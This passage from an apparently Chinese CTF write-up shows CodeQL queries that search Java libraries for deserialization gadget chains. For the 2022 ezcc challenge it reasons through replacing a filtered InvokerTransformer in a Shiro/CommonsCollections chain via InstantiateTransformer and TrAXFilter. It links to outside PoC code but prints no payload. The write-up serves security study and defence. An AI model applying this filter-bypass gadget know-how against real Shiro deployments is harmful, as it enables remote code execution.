*/
import java
class ReadCall extends Call {
ReadCall() {
this.getCallee().getDeclaringType().hasQualifiedName("java.io", "ObjectInput") and
this.getCallee().hasName("readObject") and
this.getCallee().fromSource()
}
}
class GetterCallable extends Callable {
GetterCallable() {
getName().matches("get%") and
this.hasNoParameters() and
getName().length() > 3
}
}
query predicate edges(Callable a, Callable b) { a.polyCalls(b) }
from ReadCall endcall, GetterCallable entryPoint,Callable endCallAble
where endcall.getCallee() = endCallAble and
edges(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "Getter to readObject"
但是在查询getter到Runtime.getRuntime().exec时候,我测试了很多次发现都没有办法直接查询到,因为从getter到命令执行的地方是经过了java的native方法,导致失去了AccessController.doPrivileged方法的信息。
来看看在CodeQL中这一部分的数据是什么样子吧,可以发现关于这部分的函数调用根本没有解析出来。
import java
from Callable c
where c.hasName("execCmd") and
c.getDeclaringType().hasName("PrintServiceLookupProvider")
select c.getACallee()
所以我们就只好设置execCmd为终点了,这里也只扫了一层的,如果递归就可能要很久。
/**
* @kind path-problem
*/
import java
class ExecCall extends Call {
ExecCall() {
this.getCallee().getDeclaringType().hasQualifiedName("sun.print", "PrintServiceLookupProvider") and
this.getCallee().hasName("execCmd")
or
this.getCallee().getDeclaringType().hasQualifiedName("java.lang", "Runtime") and
this.getCallee().hasName("exec")
}
}
class GetterCallable extends Callable {
GetterCallable() {
getName().matches("get%") and
this.hasNoParameters() and
getName().length() > 3
}
}
query predicate edges(Callable a, Callable b) { a.polyCalls(b) }
from ExecCall endcall, GetterCallable entryPoint, Callable endCallAble
where
endcall.getCallee() = endCallAble and
edges(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "Getter to execCmd"
2022年数字中国创新大赛车联网安全赛初赛的ezcc题目考察的是:Shiro反序列化、CommonsCollections链、CommonsBeanutils链的绕过等。
题目环境:
https://www.ichunqiu.com/battalion?t=1&r=70889
题目给了附件,大概看一下就明白是Shiro反序列化的利用,但是题目过滤了一些类。
这个时候可以利用之前学习过的poc进行改造,可以清楚的看到我们只需要找到一个 InvokerTransformer的替代类即可
https://github.com/phith0n/JavaThings/blob/master/shiroattack/src/main/java/com/govuln/shiroattack/CommonsCollectionsShiro.java
其实熟悉cc链的应该一眼就看出来可以通过InstantiateTransformer来代替,因为在cc3和cc4中注释里面写的很清楚。
如果不知道这个前提的情况下我们可以怎么去思考,先看看 InvokerTransformer的作用,可以发现是可以通过反射执行newTransformer的方法。
我们先看看剩下的transform里面,哪些看着比较好利用吧,直接快速查询看看,发现总共就29个,挨着看看每个方法。
import java
class TransformrCallable extends Callable {
TransformrCallable() {
getName().matches("transform") and
not getDeclaringType() instanceof Interface and
fromSource() and
getNumberOfParameters() = 1 and
not getDeclaringType().hasName("InvokerTransformer") and
not getDeclaringType().hasName("ConstantTransformer")
}
}
from TransformrCallable c
select c,c.getBody(),c.getDeclaringType()
这里就列举一下有那些看着感觉可以利用吧。
第6个会调用某些满足条件的create()的方法:
第7个,会调用Closure类的execute方法:
第9个,会调用Factory类的create方法:
第10个的时候,发现我们可以实例化一个类,这就代表着我们可以触发一些类的构造方法:
第13个,会调用Predicate类的execute方法:
在这29个里面,我们就筛选出来了5个可能存在利用的地方,首先我们的目标就是要找到一个可以调用到TemplatesImpl的newTransformer方法的地方。
我先看找到的第一个可能存在利用的地方,CloneTransformer.transform函数后续操作。
如果有目标类存在clone方法,就直接返回new PrototypeFactory.PrototypeCloneFactory后,调用create方法,否则new InstantiateFactory后调用create方法,不过这里new InstantiateFactory的参数值不完全可控,所以利用不了
接下来看看第二个点Closure.execute,因为Closure是interface,所以采用getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Closure")进行限制,得到了9个结果,但是看着感觉没有什么好利用的。
import java
class ClosureCallable extends Callable {
ClosureCallable() {
getName().matches("execute") and
getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Closure") and
fromSource() and
getNumberOfParameters() = 1
}
}
from ClosureCallable c
select c,c.getBody(),c.getDeclaringType()
第三个点就是筛选Factory类的create方法看看有什么可以利用的。
import java
class FactoryCallable extends Callable {
FactoryCallable() {
getName().matches("create") and
getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Factory") and
fromSource() and
getNumberOfParameters() = 0
}
}
from FactoryCallable c
select c,c.getBody(),c.getDeclaringType()
发现结果中的第三个也是可以触发类的构造方法,后续流程又回到了第二点后半部分的TrAXFilter类的利用了。
虽然有transient修饰,但是findConstructor又会给iConstructor进行赋值,所以这里是可以利用的。
然后我们在生成jdk数据库里面找找有没有那个类的构造方法可以调用到TemplatesImpl的newTransformer方法,编写如下的查询语句可以得到TrAXFilter的构造方法是可以触发newTransformer,具体poc构造参考。
/**
* @kind path-problem
*/
import java
class ConMethod extends Callable{
ConMethod(){
this instanceof Constructor
}
}
class NewTransformer extends Callable{
NewTransformer(){
hasName("newTransformer") and
hasNoParameters() and
getDeclaringType().hasName("TemplatesImpl")
}
}
query predicate edges(Callable a, Callable b) { a.polyCalls(b) }
from NewTransformer endcall, ConMethod entryPoint
where edges(entryPoint, endcall)
select endcall, entryPoint, endcall, "newTransformer finder"
Java的poc构造可以参考上面ezjava题目给出的两个链接。
结果中的第四个虽然有反射调用任意的方法,但是transient修饰了方法名,导致反序列化时这个值会为null,所以这里利用不了。
结果中的第六个是无参的构造方法调用,也利用不了。
第四个点也就是会新创建一个对象,也就会触发构造方法,所以利用方式就可以参考第一个点的后半部分,具体poc的构造可以参考:
https://mp.weixin.qq.com/s/SVPNzPE2Vos1VVGKOwGWeA
第五个点大概看了没有什么利用的地方。
import java
class PredicateCallable extends Callable {
PredicateCallable() {
getName().matches("evaluate") and
getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Predicate") and
fromSource() and
getNumberOfParameters() = 1
}
}
from PredicateCallable c
select c,c.getBody(),c.getDeclaringType()
通过CodeQL,确实可以在代码审计中提高了审计速度和避免人工查找时因马虎而遗漏的一些关键点。同学们下次打CTF时,不妨尝试下CodeQL,看看能否更快地拿到flag。
关于CodeQL在CTF的代码审计的应用,笔者只是浅尝辄止,希望能通过本文,引发更多师傅对CodeQL在CTF上的更多尝试。欢迎师傅们交流讨论。
https://github.com/githubsatelliteworkshops/codeql/blob/master/java.md
https://codeql.github.com/codeql-standard-libraries/java/
https://codeql.github.com/docs/codeql-language-guides/codeql-for-java/
https://tttang.com/archive/1570/
https://tttang.com/archive/1415/
https://xz.aliyun.com/t/10707
*请认真填写需求信息,我们会在24小时内与您取得联系。